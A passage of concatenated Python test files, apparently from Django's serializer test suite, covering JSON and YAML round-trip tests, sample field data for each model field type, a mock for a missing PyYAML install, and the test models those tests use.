        serial_str = serializers.serialize(self.serializer_name, [mv])
        self.assertEqual(self._get_field_values(serial_str, "title")[0], movie_title)
        self.assertEqual(self._get_field_values(serial_str, "actor")[0], actor_name)

        obj_list = list(serializers.deserialize(self.serializer_name, serial_str))
        mv_obj = obj_list[0].object
        self.assertEqual(mv_obj.title, movie_title)

    def test_serialize_progressbar(self):
        fake_stdout = StringIO()
        serializers.serialize(
            self.serializer_name, Article.objects.all(),
            progress_output=fake_stdout, object_count=Article.objects.count()
        )
        self.assertTrue(
            fake_stdout.getvalue().endswith('[' + '.' * ProgressBar.progress_width + ']\n')
        )

    def test_serialize_superfluous_queries(self):
        """Ensure no superfluous queries are made when serializing ForeignKeys

        #17602
        """
        ac = Actor(name='Actor name')
        ac.save()
        mv = Movie(title='Movie title', actor_id=ac.pk)
        mv.save()

        with self.assertNumQueries(0):
            serializers.serialize(self.serializer_name, [mv])

    def test_serialize_with_null_pk(self):
        """
        Tests that serialized data with no primary key results
        in a model instance with no id
        """
        category = Category(name="Reference")
        serial_str = serializers.serialize(self.serializer_name, [category])
        pk_value = self._get_pk_values(serial_str)[0]
        self.assertFalse(pk_value)

        cat_obj = list(serializers.deserialize(self.serializer_name, serial_str))[0].object
        self.assertIsNone(cat_obj.id)

    def test_float_serialization(self):
        """Tests that float values serialize and deserialize intact"""
        sc = Score(score=3.4)
        sc.save()
        serial_str = serializers.serialize(self.serializer_name, [sc])
        deserial_objs = list(serializers.deserialize(self.serializer_name, serial_str))
        self.assertEqual(deserial_objs[0].object.score, Approximate(3.4, places=1))

    def test_deferred_field_serialization(self):
        author = Author.objects.create(name='Victor Hugo')
        author = Author.objects.defer('name').get(pk=author.pk)
        serial_str = serializers.serialize(self.serializer_name, [author])
        deserial_objs = list(serializers.deserialize(self.serializer_name, serial_str))
        # Check the class instead of using isinstance() because model instances
        # with deferred fields (e.g. Author_Deferred_name) will pass isinstance.
        self.assertEqual(deserial_objs[0].object.__class__, Author)

    def test_custom_field_serialization(self):
        """Tests that custom fields serialize and deserialize intact"""
        team_str = "Spartak Moskva"
        player = Player()
        player.name = "Soslan Djanaev"
        player.rank = 1
        player.team = Team(team_str)
        player.save()
        serial_str = serializers.serialize(self.serializer_name, Player.objects.all())
        team = self._get_field_values(serial_str, "team")
        self.assertTrue(team)
        self.assertEqual(team[0], team_str)

        deserial_objs = list(serializers.deserialize(self.serializer_name, serial_str))
        self.assertEqual(deserial_objs[0].object.team.to_string(), player.team.to_string())

    def test_pre_1000ad_date(self):
        """Tests that year values before 1000AD are properly formatted"""
        # Regression for #12524 -- dates before 1000AD get prefixed
        # 0's on the year
        a = Article.objects.create(
            author=self.jane,
            headline="Nobody remembers the early years",
            pub_date=datetime(1, 2, 3, 4, 5, 6))

        serial_str = serializers.serialize(self.serializer_name, [a])
        date_values = self._get_field_values(serial_str, "pub_date")
        self.assertEqual(date_values[0].replace('T', ' '), "0001-02-03 04:05:06")

    def test_pkless_serialized_strings(self):
        """
        Tests that serialized strings without PKs
        can be turned into models
        """
        deserial_objs = list(serializers.deserialize(self.serializer_name, self.pkless_str))
        for obj in deserial_objs:
            self.assertFalse(obj.object.id)
            obj.save()
        self.assertEqual(Category.objects.all().count(), 5)

    def test_deterministic_mapping_ordering(self):
        """Mapping such as fields should be deterministically ordered. (#24558)"""
        output = serializers.serialize(self.serializer_name, [self.a1], indent=2)
        categories = self.a1.categories.values_list('pk', flat=True)
        self.assertEqual(output, self.mapping_ordering_str % {
            'article_pk': self.a1.pk,
            'author_pk': self.a1.author_id,
            'first_category_pk': categories[0],
            'second_category_pk': categories[1],
        })

    def test_deserialize_force_insert(self):
        """Tests that deserialized content can be saved with force_insert as a parameter."""
        serial_str = serializers.serialize(self.serializer_name, [self.a1])
        deserial_obj = list(serializers.deserialize(self.serializer_name, serial_str))[0]
        with mock.patch('django.db.models.Model') as mock_model:
            deserial_obj.save(force_insert=False)
            mock_model.save_base.assert_called_with(deserial_obj.object, raw=True, using=None, force_insert=False)

    @skipUnlessDBFeature('can_defer_constraint_checks')
    def test_serialize_proxy_model(self):
        BaseModel.objects.create(parent_data=1)
        base_objects = BaseModel.objects.all()
        proxy_objects = ProxyBaseModel.objects.all()
        proxy_proxy_objects = ProxyProxyBaseModel.objects.all()
        base_data = serializers.serialize("json", base_objects)
        proxy_data = serializers.serialize("json", proxy_objects)
        proxy_proxy_data = serializers.serialize("json", proxy_proxy_objects)
        self.assertEqual(base_data, proxy_data.replace('proxy', ''))
        self.assertEqual(base_data, proxy_proxy_data.replace('proxy', ''))


class SerializerAPITests(SimpleTestCase):

    def test_stream_class(self):
        class File(object):
            def __init__(self):
                self.lines = []

            def write(self, line):
                self.lines.append(line)

            def getvalue(self):
                return ''.join(self.lines)

        class Serializer(serializers.json.Serializer):
            stream_class = File

        serializer = Serializer()
        data = serializer.serialize([Score(id=1, score=3.4)])
        self.assertIs(serializer.stream_class, File)
        self.assertIsInstance(serializer.stream, File)
        self.assertEqual(data, '[{"model": "serializers.score", "pk": 1, "fields": {"score": 3.4}}]')


class SerializersTransactionTestBase(object):

    available_apps = ['serializers']

    @skipUnlessDBFeature('supports_forward_references')
    def test_forward_refs(self):
        """
        Tests that objects ids can be referenced before they are
        defined in the serialization data.
        """
        # The deserialization process needs to run in a transaction in order
        # to test forward reference handling.
        with transaction.atomic():
            objs = serializers.deserialize(self.serializer_name, self.fwd_ref_str)
            with connection.constraint_checks_disabled():
                for obj in objs:
                    obj.save()

        for model_cls in (Category, Author, Article):
            self.assertEqual(model_cls.objects.all().count(), 1)
        art_obj = Article.objects.all()[0]
        self.assertEqual(art_obj.categories.all().count(), 1)
        self.assertEqual(art_obj.author.name, "Agnes")


def register_tests(test_class, method_name, test_func, exclude=None):
    """
    Dynamically create serializer tests to ensure that all registered
    serializers are automatically tested.
    """
    formats = [
        f for f in serializers.get_serializer_formats()
        if (not isinstance(serializers.get_serializer(f), serializers.BadSerializer) and
            f != 'geojson' and
            (exclude is None or f not in exclude))
    ]
    for format_ in formats:
        setattr(test_class, method_name % format_, curry(test_func, format_))






"""
A test spanning all the capabilities of all the serializers.

This class defines sample data and a dynamically generated
test case that is capable of testing the capabilities of
the serializers. This includes all valid data values, plus
forward, backwards and self references.
"""
from __future__ import unicode_literals

import datetime
import decimal
import uuid

from django.core import serializers
from django.db import connection, models
from django.test import TestCase
from django.utils import six

from .models import (
    Anchor, AutoNowDateTimeData, BigIntegerData, BinaryData, BooleanData,
    BooleanPKData, CharData, CharPKData, DateData, DateTimeData, DecimalData,
    DecimalPKData, EmailData, EmailPKData, ExplicitInheritBaseModel, FileData,
    FilePathData, FilePathPKData, FKData, FKDataToField, FKDataToO2O,
    FKSelfData, FKToUUID, FloatData, FloatPKData, GenericData,
    GenericIPAddressData, GenericIPAddressPKData, InheritAbstractModel,
    InheritBaseModel, IntegerData, IntegerPKData, Intermediate, LengthModel,
    M2MData, M2MIntermediateData, M2MSelfData, ModifyingSaveData,
    NullBooleanData, O2OData, PositiveIntegerData, PositiveIntegerPKData,
    PositiveSmallIntegerData, PositiveSmallIntegerPKData, SlugData, SlugPKData,
    SmallData, SmallPKData, Tag, TextData, TimeData, UniqueAnchor, UUIDData,
)
from .tests import register_tests


# A set of functions that can be used to recreate
# test data objects of various kinds.
# The save method is a raw base model save, to make
# sure that the data in the database matches the
# exact test case.


def data_create(pk, klass, data):
    instance = klass(id=pk)
    instance.data = data
    models.Model.save_base(instance, raw=True)
    return [instance]


def generic_create(pk, klass, data):
    instance = klass(id=pk)
    instance.data = data[0]
    models.Model.save_base(instance, raw=True)
    for tag in data[1:]:
        instance.tags.create(data=tag)
    return [instance]


def fk_create(pk, klass, data):
    instance = klass(id=pk)
    setattr(instance, 'data_id', data)
    models.Model.save_base(instance, raw=True)
    return [instance]


def m2m_create(pk, klass, data):
    instance = klass(id=pk)
    models.Model.save_base(instance, raw=True)
    instance.data.set(data)
    return [instance]


def im2m_create(pk, klass, data):
    instance = klass(id=pk)
    models.Model.save_base(instance, raw=True)
    return [instance]


def im_create(pk, klass, data):
    instance = klass(id=pk)
    instance.right_id = data['right']
    instance.left_id = data['left']
    if 'extra' in data:
        instance.extra = data['extra']
    models.Model.save_base(instance, raw=True)
    return [instance]


def o2o_create(pk, klass, data):
    instance = klass()
    instance.data_id = data
    models.Model.save_base(instance, raw=True)
    return [instance]


def pk_create(pk, klass, data):
    instance = klass()
    instance.data = data
    models.Model.save_base(instance, raw=True)
    return [instance]


def inherited_create(pk, klass, data):
    instance = klass(id=pk, **data)
    # This isn't a raw save because:
    #  1) we're testing inheritance, not field behavior, so none
    #     of the field values need to be protected.
    #  2) saving the child class and having the parent created
    #     automatically is easier than manually creating both.
    models.Model.save(instance)
    created = [instance]
    for klass, field in instance._meta.parents.items():
        created.append(klass.objects.get(id=pk))
    return created

# A set of functions that can be used to compare
# test data objects of various kinds


def data_compare(testcase, pk, klass, data):
    instance = klass.objects.get(id=pk)
    if klass == BinaryData and data is not None:
        testcase.assertEqual(
            bytes(data), bytes(instance.data),
            "Objects with PK=%d not equal; expected '%s' (%s), got '%s' (%s)" % (
                pk, repr(bytes(data)), type(data), repr(bytes(instance.data)),
                type(instance.data),
            )
        )
    else:
        testcase.assertEqual(
            data, instance.data,
            "Objects with PK=%d not equal; expected '%s' (%s), got '%s' (%s)" % (
                pk, data, type(data), instance, type(instance.data),
            )
        )


def generic_compare(testcase, pk, klass, data):
    instance = klass.objects.get(id=pk)
    testcase.assertEqual(data[0], instance.data)
    testcase.assertEqual(data[1:], [t.data for t in instance.tags.order_by('id')])


def fk_compare(testcase, pk, klass, data):
    instance = klass.objects.get(id=pk)
    testcase.assertEqual(data, instance.data_id)


def m2m_compare(testcase, pk, klass, data):
    instance = klass.objects.get(id=pk)
    testcase.assertEqual(data, [obj.id for obj in instance.data.order_by('id')])


def im2m_compare(testcase, pk, klass, data):
    klass.objects.get(id=pk)
    # actually nothing else to check, the instance just should exist


def im_compare(testcase, pk, klass, data):
    instance = klass.objects.get(id=pk)
    testcase.assertEqual(data['left'], instance.left_id)
    testcase.assertEqual(data['right'], instance.right_id)
    if 'extra' in data:
        testcase.assertEqual(data['extra'], instance.extra)
    else:
        testcase.assertEqual("doesn't matter", instance.extra)


def o2o_compare(testcase, pk, klass, data):
    instance = klass.objects.get(data=data)
    testcase.assertEqual(data, instance.data_id)


def pk_compare(testcase, pk, klass, data):
    instance = klass.objects.get(data=data)
    testcase.assertEqual(data, instance.data)


def inherited_compare(testcase, pk, klass, data):
    instance = klass.objects.get(id=pk)
    for key, value in data.items():
        testcase.assertEqual(value, getattr(instance, key))

# Define some data types. Each data type is
# actually a pair of functions; one to create
# and one to compare objects of that type
data_obj = (data_create, data_compare)
generic_obj = (generic_create, generic_compare)
fk_obj = (fk_create, fk_compare)
m2m_obj = (m2m_create, m2m_compare)
im2m_obj = (im2m_create, im2m_compare)
im_obj = (im_create, im_compare)
o2o_obj = (o2o_create, o2o_compare)
pk_obj = (pk_create, pk_compare)
inherited_obj = (inherited_create, inherited_compare)
uuid_obj = uuid.uuid4()

test_data = [
    # Format: (data type, PK value, Model Class, data)
    (data_obj, 1, BinaryData, six.memoryview(b"\x05\xFD\x00")),
    (data_obj, 2, BinaryData, None),
    (data_obj, 5, BooleanData, True),
    (data_obj, 6, BooleanData, False),
    (data_obj, 10, CharData, "Test Char Data"),
    (data_obj, 11, CharData, ""),
    (data_obj, 12, CharData, "None"),
    (data_obj, 13, CharData, "null"),
    (data_obj, 14, CharData, "NULL"),
    (data_obj, 15, CharData, None),
    # (We use something that will fit into a latin1 database encoding here,
    # because that is still the default used on many system setups.)
    (data_obj, 16, CharData, '\xa5'),
    (data_obj, 20, DateData, datetime.date(2006, 6, 16)),
    (data_obj, 21, DateData, None),
    (data_obj, 30, DateTimeData, datetime.datetime(2006, 6, 16, 10, 42, 37)),
    (data_obj, 31, DateTimeData, None),
    (data_obj, 40, EmailData, "hovercraft@example.com"),
    (data_obj, 41, EmailData, None),
    (data_obj, 42, EmailData, ""),
    (data_obj, 50, FileData, 'file:///foo/bar/whiz.txt'),
    # (data_obj, 51, FileData, None),
    (data_obj, 52, FileData, ""),
    (data_obj, 60, FilePathData, "/foo/bar/whiz.txt"),
    (data_obj, 61, FilePathData, None),
    (data_obj, 62, FilePathData, ""),
    (data_obj, 70, DecimalData, decimal.Decimal('12.345')),
    (data_obj, 71, DecimalData, decimal.Decimal('-12.345')),
    (data_obj, 72, DecimalData, decimal.Decimal('0.0')),
    (data_obj, 73, DecimalData, None),
    (data_obj, 74, FloatData, 12.345),
    (data_obj, 75, FloatData, -12.345),
    (data_obj, 76, FloatData, 0.0),
    (data_obj, 77, FloatData, None),
    (data_obj, 80, IntegerData, 123456789),
    (data_obj, 81, IntegerData, -123456789),
    (data_obj, 82, IntegerData, 0),
    (data_obj, 83, IntegerData, None),
    # (XX, ImageData
    (data_obj, 95, GenericIPAddressData, "fe80:1424:2223:6cff:fe8a:2e8a:2151:abcd"),
    (data_obj, 96, GenericIPAddressData, None),
    (data_obj, 100, NullBooleanData, True),
    (data_obj, 101, NullBooleanData, False),
    (data_obj, 102, NullBooleanData, None),
    (data_obj, 120, PositiveIntegerData, 123456789),
    (data_obj, 121, PositiveIntegerData, None),
    (data_obj, 130, PositiveSmallIntegerData, 12),
    (data_obj, 131, PositiveSmallIntegerData, None),
    (data_obj, 140, SlugData, "this-is-a-slug"),
    (data_obj, 141, SlugData, None),
    (data_obj, 142, SlugData, ""),
    (data_obj, 150, SmallData, 12),
    (data_obj, 151, SmallData, -12),
    (data_obj, 152, SmallData, 0),
    (data_obj, 153, SmallData, None),
    (data_obj, 160, TextData, """This is a long piece of text.
It contains line breaks.
Several of them.
The end."""),
    (data_obj, 161, TextData, ""),
    (data_obj, 162, TextData, None),
    (data_obj, 170, TimeData, datetime.time(10, 42, 37)),
    (data_obj, 171, TimeData, None),

    (generic_obj, 200, GenericData, ['Generic Object 1', 'tag1', 'tag2']),
    (generic_obj, 201, GenericData, ['Generic Object 2', 'tag2', 'tag3']),

    (data_obj, 300, Anchor, "Anchor 1"),
    (data_obj, 301, Anchor, "Anchor 2"),
    (data_obj, 302, UniqueAnchor, "UAnchor 1"),

    (fk_obj, 400, FKData, 300),  # Post reference
    (fk_obj, 401, FKData, 500),  # Pre reference
    (fk_obj, 402, FKData, None),  # Empty reference

    (m2m_obj, 410, M2MData, []),  # Empty set
    (m2m_obj, 411, M2MData, [300, 301]),  # Post reference
    (m2m_obj, 412, M2MData, [500, 501]),  # Pre reference
    (m2m_obj, 413, M2MData, [300, 301, 500, 501]),  # Pre and Post reference

    (o2o_obj, None, O2OData, 300),  # Post reference
    (o2o_obj, None, O2OData, 500),  # Pre reference

    (fk_obj, 430, FKSelfData, 431),  # Pre reference
    (fk_obj, 431, FKSelfData, 430),  # Post reference
    (fk_obj, 432, FKSelfData, None),  # Empty reference

    (m2m_obj, 440, M2MSelfData, []),
    (m2m_obj, 441, M2MSelfData, []),
    (m2m_obj, 442, M2MSelfData, [440, 441]),
    (m2m_obj, 443, M2MSelfData, [445, 446]),
    (m2m_obj, 444, M2MSelfData, [440, 441, 445, 446]),
    (m2m_obj, 445, M2MSelfData, []),
    (m2m_obj, 446, M2MSelfData, []),

    (fk_obj, 450, FKDataToField, "UAnchor 1"),
    (fk_obj, 451, FKDataToField, "UAnchor 2"),
    (fk_obj, 452, FKDataToField, None),

    (fk_obj, 460, FKDataToO2O, 300),

    (im2m_obj, 470, M2MIntermediateData, None),

    # testing post- and pre-references and extra fields
    (im_obj, 480, Intermediate, {'right': 300, 'left': 470}),
    (im_obj, 481, Intermediate, {'right': 300, 'left': 490}),
    (im_obj, 482, Intermediate, {'right': 500, 'left': 470}),
    (im_obj, 483, Intermediate, {'right': 500, 'left': 490}),
    (im_obj, 484, Intermediate, {'right': 300, 'left': 470, 'extra': "extra"}),
    (im_obj, 485, Intermediate, {'right': 300, 'left': 490, 'extra': "extra"}),
    (im_obj, 486, Intermediate, {'right': 500, 'left': 470, 'extra': "extra"}),
    (im_obj, 487, Intermediate, {'right': 500, 'left': 490, 'extra': "extra"}),

    (im2m_obj, 490, M2MIntermediateData, []),

    (data_obj, 500, Anchor, "Anchor 3"),
    (data_obj, 501, Anchor, "Anchor 4"),
    (data_obj, 502, UniqueAnchor, "UAnchor 2"),

    (pk_obj, 601, BooleanPKData, True),
    (pk_obj, 602, BooleanPKData, False),
    (pk_obj, 610, CharPKData, "Test Char PKData"),
    # (pk_obj, 620, DatePKData, datetime.date(2006, 6, 16)),
    # (pk_obj, 630, DateTimePKData, datetime.datetime(2006, 6, 16, 10, 42, 37)),
    (pk_obj, 640, EmailPKData, "hovercraft@example.com"),
    # (pk_obj, 650, FilePKData, 'file:///foo/bar/whiz.txt'),
    (pk_obj, 660, FilePathPKData, "/foo/bar/whiz.txt"),
    (pk_obj, 670, DecimalPKData, decimal.Decimal('12.345')),
    (pk_obj, 671, DecimalPKData, decimal.Decimal('-12.345')),
    (pk_obj, 672, DecimalPKData, decimal.Decimal('0.0')),
    (pk_obj, 673, FloatPKData, 12.345),
    (pk_obj, 674, FloatPKData, -12.345),
    (pk_obj, 675, FloatPKData, 0.0),
    (pk_obj, 680, IntegerPKData, 123456789),
    (pk_obj, 681, IntegerPKData, -123456789),
    (pk_obj, 682, IntegerPKData, 0),
    # (XX, ImagePKData
    (pk_obj, 695, GenericIPAddressPKData, "fe80:1424:2223:6cff:fe8a:2e8a:2151:abcd"),
    # (pk_obj, 700, NullBooleanPKData, True),
    # (pk_obj, 701, NullBooleanPKData, False),
    (pk_obj, 720, PositiveIntegerPKData, 123456789),
    (pk_obj, 730, PositiveSmallIntegerPKData, 12),
    (pk_obj, 740, SlugPKData, "this-is-a-slug"),
    (pk_obj, 750, SmallPKData, 12),
    (pk_obj, 751, SmallPKData, -12),
    (pk_obj, 752, SmallPKData, 0),
    # (pk_obj, 760, TextPKData, """This is a long piece of text.
    # It contains line breaks.
    # Several of them.
    # The end."""),
    # (pk_obj, 770, TimePKData, datetime.time(10, 42, 37)),
    # (pk_obj, 790, XMLPKData, "<foo></foo>"),
    (pk_obj, 791, UUIDData, uuid_obj),
    (fk_obj, 792, FKToUUID, uuid_obj),

    (data_obj, 800, AutoNowDateTimeData, datetime.datetime(2006, 6, 16, 10, 42, 37)),
    (data_obj, 810, ModifyingSaveData, 42),

    (inherited_obj, 900, InheritAbstractModel, {'child_data': 37, 'parent_data': 42}),
    (inherited_obj, 910, ExplicitInheritBaseModel, {'child_data': 37, 'parent_data': 42}),
    (inherited_obj, 920, InheritBaseModel, {'child_data': 37, 'parent_data': 42}),

    (data_obj, 1000, BigIntegerData, 9223372036854775807),
    (data_obj, 1001, BigIntegerData, -9223372036854775808),
    (data_obj, 1002, BigIntegerData, 0),
    (data_obj, 1003, BigIntegerData, None),
    (data_obj, 1004, LengthModel, 0),
    (data_obj, 1005, LengthModel, 1),
]


# Because Oracle treats the empty string as NULL, Oracle is expected to fail
# when field.empty_strings_allowed is True and the value is None; skip these
# tests.
if connection.features.interprets_empty_strings_as_nulls:
    test_data = [data for data in test_data
                 if not (data[0] == data_obj and
                         data[2]._meta.get_field('data').empty_strings_allowed and
                         data[3] is None)]

# Regression test for #8651 -- a FK to an object with PK of 0
# This won't work on MySQL since it won't let you create an object
# with an autoincrement primary key of 0,
if connection.features.allows_auto_pk_0:
    test_data.extend([
        (data_obj, 0, Anchor, "Anchor 0"),
        (fk_obj, 465, FKData, 0),
    ])


class SerializerDataTests(TestCase):
    pass


def serializerTest(format, self):

    # Create all the objects defined in the test data
    objects = []
    instance_count = {}
    for (func, pk, klass, datum) in test_data:
        with connection.constraint_checks_disabled():
            objects.extend(func[0](pk, klass, datum))

    # Get a count of the number of objects created for each class
    for klass in instance_count:
        instance_count[klass] = klass.objects.count()

    # Add the generic tagged objects to the object list
    objects.extend(Tag.objects.all())

    # Serialize the test database
    serialized_data = serializers.serialize(format, objects, indent=2)

    for obj in serializers.deserialize(format, serialized_data):
        obj.save()

    # Assert that the deserialized data is the same
    # as the original source
    for (func, pk, klass, datum) in test_data:
        func[1](self, pk, klass, datum)

    # Assert that the number of objects deserialized is the
    # same as the number that was serialized.
    for klass, count in instance_count.items():
        self.assertEqual(count, klass.objects.count())


register_tests(SerializerDataTests, 'test_%s_serializer', serializerTest)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import importlib
import unittest

from django.core import management, serializers
from django.core.serializers.base import DeserializationError
from django.test import SimpleTestCase, TestCase, TransactionTestCase
from django.utils import six
from django.utils.six import StringIO

from .models import Author
from .tests import SerializersTestBase, SerializersTransactionTestBase

try:
    import yaml
    HAS_YAML = True
except ImportError:
    HAS_YAML = False

YAML_IMPORT_ERROR_MESSAGE = r'No module named yaml'


class YamlImportModuleMock(object):
    """Provides a wrapped import_module function to simulate yaml ImportError

    In order to run tests that verify the behavior of the YAML serializer
    when run on a system that has yaml installed (like the django CI server),
    mock import_module, so that it raises an ImportError when the yaml
    serializer is being imported.  The importlib.import_module() call is
    being made in the serializers.register_serializer().

    Refs: #12756
    """
    def __init__(self):
        self._import_module = importlib.import_module

    def import_module(self, module_path):
        if module_path == serializers.BUILTIN_SERIALIZERS['yaml']:
            raise ImportError(YAML_IMPORT_ERROR_MESSAGE)

        return self._import_module(module_path)


class NoYamlSerializerTestCase(SimpleTestCase):
    """Not having pyyaml installed provides a misleading error

    Refs: #12756
    """
    @classmethod
    def setUpClass(cls):
        """Removes imported yaml and stubs importlib.import_module"""
        super(NoYamlSerializerTestCase, cls).setUpClass()

        cls._import_module_mock = YamlImportModuleMock()
        importlib.import_module = cls._import_module_mock.import_module

        # clear out cached serializers to emulate yaml missing
        serializers._serializers = {}

    @classmethod
    def tearDownClass(cls):
        """Puts yaml back if necessary"""
        super(NoYamlSerializerTestCase, cls).tearDownClass()

        importlib.import_module = cls._import_module_mock._import_module

        # clear out cached serializers to clean out BadSerializer instances
        serializers._serializers = {}

    def test_serializer_pyyaml_error_message(self):
        """Using yaml serializer without pyyaml raises ImportError"""
        jane = Author(name="Jane")
        with self.assertRaises(ImportError):
            serializers.serialize("yaml", [jane])

    def test_deserializer_pyyaml_error_message(self):
        """Using yaml deserializer without pyyaml raises ImportError"""
        with self.assertRaises(ImportError):
            serializers.deserialize("yaml", "")

    def test_dumpdata_pyyaml_error_message(self):
        """Calling dumpdata produces an error when yaml package missing"""
        with self.assertRaisesMessage(management.CommandError, YAML_IMPORT_ERROR_MESSAGE):
            management.call_command('dumpdata', format='yaml')


@unittest.skipUnless(HAS_YAML, "No yaml library detected")
class YamlSerializerTestCase(SerializersTestBase, TestCase):
    serializer_name = "yaml"
    fwd_ref_str = """- fields:
    headline: Forward references pose no problem
    pub_date: 2006-06-16 15:00:00
    categories: [1]
    author: 1
  pk: 1
  model: serializers.article
- fields:
    name: Reference
  pk: 1
  model: serializers.category
- fields:
    name: Agnes
  pk: 1
  model: serializers.author"""

    pkless_str = """- fields:
    name: Reference
  pk: null
  model: serializers.category
- fields:
    name: Non-fiction
  model: serializers.category"""

    mapping_ordering_str = """- model: serializers.article
  pk: %(article_pk)s
  fields:
    author: %(author_pk)s
    headline: Poker has no place on ESPN
    pub_date: 2006-06-16 11:00:00
    categories: [%(first_category_pk)s, %(second_category_pk)s]
    meta_data: []
"""

    @staticmethod
    def _validate_output(serial_str):
        try:
            yaml.safe_load(StringIO(serial_str))
        except Exception:
            return False
        else:
            return True

    @staticmethod
    def _get_pk_values(serial_str):
        ret_list = []
        stream = StringIO(serial_str)
        for obj_dict in yaml.safe_load(stream):
            ret_list.append(obj_dict["pk"])
        return ret_list

    @staticmethod
    def _get_field_values(serial_str, field_name):
        ret_list = []
        stream = StringIO(serial_str)
        for obj_dict in yaml.safe_load(stream):
            if "fields" in obj_dict and field_name in obj_dict["fields"]:
                field_value = obj_dict["fields"][field_name]
                # yaml.safe_load will return non-string objects for some
                # of the fields we are interested in, this ensures that
                # everything comes back as a string
                if isinstance(field_value, six.string_types):
                    ret_list.append(field_value)
                else:
                    ret_list.append(str(field_value))
        return ret_list

    def test_yaml_deserializer_exception(self):
        with self.assertRaises(DeserializationError):
            for obj in serializers.deserialize("yaml", "{"):
                pass


@unittest.skipUnless(HAS_YAML, "No yaml library detected")
class YamlSerializerTransactionTestCase(SerializersTransactionTestBase, TransactionTestCase):
    serializer_name = "yaml"
    fwd_ref_str = """- fields:
    headline: Forward references pose no problem
    pub_date: 2006-06-16 15:00:00
    categories: [1]
    author: 1
  pk: 1
  model: serializers.article
- fields:
    name: Reference
  pk: 1
  model: serializers.category
- fields:
    name: Agnes
  pk: 1
  model: serializers.author"""






"""Models for test_natural.py"""
from django.db import models


class NaturalKeyAnchorManager(models.Manager):
    def get_by_natural_key(self, data):
        return self.get(data=data)


class NaturalKeyAnchor(models.Model):
    objects = NaturalKeyAnchorManager()

    data = models.CharField(max_length=100, unique=True)
    title = models.CharField(max_length=100, null=True)

    def natural_key(self):
        return (self.data,)


class FKDataNaturalKey(models.Model):
    data = models.ForeignKey(NaturalKeyAnchor, models.SET_NULL, null=True)






"""
******** Models for test_data.py ***********
The following classes are for testing basic data marshalling, including
NULL values, where allowed.
The basic idea is to have a model for each Django data type.
"""
from __future__ import unicode_literals

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models

from .base import BaseModel


class BinaryData(models.Model):
    data = models.BinaryField(null=True)


class BooleanData(models.Model):
    data = models.BooleanField(default=False)


class CharData(models.Model):
    data = models.CharField(max_length=30, null=True)


class DateData(models.Model):
    data = models.DateField(null=True)


class DateTimeData(models.Model):
    data = models.DateTimeField(null=True)


class DecimalData(models.Model):
    data = models.DecimalField(null=True, decimal_places=3, max_digits=5)


class EmailData(models.Model):
    data = models.EmailField(null=True)


class FileData(models.Model):
    data = models.FileField(null=True, upload_to='/foo/bar')


class FilePathData(models.Model):
    data = models.FilePathField(null=True)


class FloatData(models.Model):
    data = models.FloatField(null=True)


class IntegerData(models.Model):
    data = models.IntegerField(null=True)


class BigIntegerData(models.Model):
    data = models.BigIntegerField(null=True)

# class ImageData(models.Model):
#    data = models.ImageField(null=True)


class GenericIPAddressData(models.Model):
    data = models.GenericIPAddressField(null=True)


class NullBooleanData(models.Model):
    data = models.NullBooleanField(null=True)


class PositiveIntegerData(models.Model):
    data = models.PositiveIntegerField(null=True)


class PositiveSmallIntegerData(models.Model):
    data = models.PositiveSmallIntegerField(null=True)


class SlugData(models.Model):
    data = models.SlugField(null=True)


class SmallData(models.Model):
    data = models.SmallIntegerField(null=True)


class TextData(models.Model):
    data = models.TextField(null=True)


class TimeData(models.Model):
    data = models.TimeField(null=True)


class Tag(models.Model):
    """A tag on an item."""
    data = models.SlugField()
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()

    content_object = GenericForeignKey()

    class Meta:
        ordering = ["data"]


class GenericData(models.Model):
    data = models.CharField(max_length=30)

    tags = GenericRelation(Tag)

# The following test classes are all for validation
# of related objects; in particular, forward, backward,
# and self references.


class Anchor(models.Model):
    """This is a model that can be used as
    something for other models to point at"""

    data = models.CharField(max_length=30)

    class Meta:
        ordering = ('id',)


class UniqueAnchor(models.Model):
    """This is a model that can be used as
    something for other models to point at"""

    data = models.CharField(unique=True, max_length=30)


class FKData(models.Model):
    data = models.ForeignKey(Anchor, models.SET_NULL, null=True)


class M2MData(models.Model):
    data = models.ManyToManyField(Anchor)


class O2OData(models.Model):
    # One to one field can't be null here, since it is a PK.
    data = models.OneToOneField(Anchor, models.CASCADE, primary_key=True)


class FKSelfData(models.Model):
    data = models.ForeignKey('self', models.CASCADE, null=True)


class M2MSelfData(models.Model):
    data = models.ManyToManyField('self', symmetrical=False)


class FKDataToField(models.Model):
    data = models.ForeignKey(UniqueAnchor, models.SET_NULL, null=True, to_field='data')


class FKDataToO2O(models.Model):
    data = models.ForeignKey(O2OData, models.SET_NULL, null=True)


class M2MIntermediateData(models.Model):
    data = models.ManyToManyField(Anchor, through='Intermediate')


class Intermediate(models.Model):
    left = models.ForeignKey(M2MIntermediateData, models.CASCADE)
    right = models.ForeignKey(Anchor, models.CASCADE)
    extra = models.CharField(max_length=30, blank=True, default="doesn't matter")

# The following test classes are for validating the
# deserialization of objects that use a user-defined
# field as the primary key.
# Some of these data types have been commented out
# because they can't be used as a primary key on one
# or all database backends.


class BooleanPKData(models.Model):
    data = models.BooleanField(primary_key=True, default=False)


class CharPKData(models.Model):
    data = models.CharField(max_length=30, primary_key=True)

# class DatePKData(models.Model):
#    data = models.DateField(primary_key=True)

# class DateTimePKData(models.Model):
#    data = models.DateTimeField(primary_key=True)


class DecimalPKData(models.Model):
    data = models.DecimalField(primary_key=True, decimal_places=3, max_digits=5)


class EmailPKData(models.Model):
    data = models.EmailField(primary_key=True)

# class FilePKData(models.Model):
#    data = models.FileField(primary_key=True, upload_to='/foo/bar')


class FilePathPKData(models.Model):
    data = models.FilePathField(primary_key=True)


class FloatPKData(models.Model):
    data = models.FloatField(primary_key=True)


class IntegerPKData(models.Model):
    data = models.IntegerField(primary_key=True)

# class ImagePKData(models.Model):
#    data = models.ImageField(primary_key=True)


class GenericIPAddressPKData(models.Model):
    data = models.GenericIPAddressField(primary_key=True)

# This is just a Boolean field with null=True, and we can't test a PK value of NULL.
# class NullBooleanPKData(models.Model):
#     data = models.NullBooleanField(primary_key=True)


class PositiveIntegerPKData(models.Model):
    data = models.PositiveIntegerField(primary_key=True)


class PositiveSmallIntegerPKData(models.Model):
    data = models.PositiveSmallIntegerField(primary_key=True)


class SlugPKData(models.Model):
    data = models.SlugField(primary_key=True)


class SmallPKData(models.Model):
    data = models.SmallIntegerField(primary_key=True)

